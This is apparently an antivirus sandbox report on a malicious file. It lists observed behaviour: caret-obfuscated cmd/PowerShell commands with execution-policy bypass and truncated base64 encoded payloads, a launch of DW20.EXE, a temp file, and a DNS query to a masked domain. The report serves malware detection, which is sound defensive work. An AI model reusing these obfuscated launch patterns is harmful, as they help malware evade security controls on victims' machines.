Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c P^O^W^E^R^S^H^E^L^L -exec Bypass -EC JABwAFEAbQBsAFIAeABMACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIAQwBvAG0AbQBvAG4AQQBwAHAAb...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1536
Modifies file system
Creates the following files
- %TEMP%\1179476.cvr
Network activity
UDP
- DNS ASK mm####usanna.info
Miscellaneous
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec Bypass -EC JABwAFEAbQBsAFIAeABMACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIAQwBvAG0AbQBvAG4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEQA...
